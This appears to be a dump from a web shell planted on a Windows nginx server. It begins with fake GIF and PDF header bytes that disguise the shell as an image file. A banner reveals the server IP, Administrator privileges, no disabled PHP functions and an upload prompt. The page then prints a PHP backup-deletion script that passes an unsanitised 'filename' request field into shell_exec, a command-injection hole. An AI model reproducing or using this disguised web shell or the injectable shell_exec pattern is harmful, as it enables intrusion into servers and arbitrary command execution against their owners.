GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Scheduler/admin/database/backup/ |
Upload File : |
<? // admin/database/backup/removeBackupFile.phpinc // Delete the database backup file. t_Begin(); // Begin TRACKing include_filename.phpinc. f('interval','d'); if (!$f['interval']) {$f['interval'] = 0;} #$f['interval'] = 1; // Force task time t=interval to 1 minute. if (!isset($f['DEBUG'])) { //sleep($f['interval']); } else { d_V('filename','d'); d_V('interval','d'); } // Delete backup file. $path_to_schedule_task = osPath($_SESSION['ROOT']['directory'].'/admin/database/backup/schedule_task'); // Path to the schedule_task.cmd file. $path_to_backup_folder=osPath($_SESSION['ROOT']['directory'].'/site/_backup/'); // Path to database backups. $path_to_delfile = osPath($_SESSION['ROOT']['directory'].'/admin/database/backup/delfile'); // Path to the delfile.cmd file. $windows_cmd_to_execute = '"'.$path_to_schedule_task.'" "'.$path_to_delfile.' '.$path_to_backup_folder.$f['filename'].'" '.$f['interval'].''; // Command line. >nul 2>nul echo '<textarea style="width:60em;height:5em;">'.$windows_cmd_to_execute.'</textarea>'; if (!isset($f['DEBUG'])) { $result_of_command = shell_exec($windows_cmd_to_execute); } #$result_of_command = shell_exec($windows_cmd_to_execute); #echo '<pre>result_of_command='.$result_of_command.'</pre>'; t_End(); // End TRACKing include_filename.phpinc. runas.exe /user:domain\username "perfmon.exe \"argument with spaces\" /res" ?>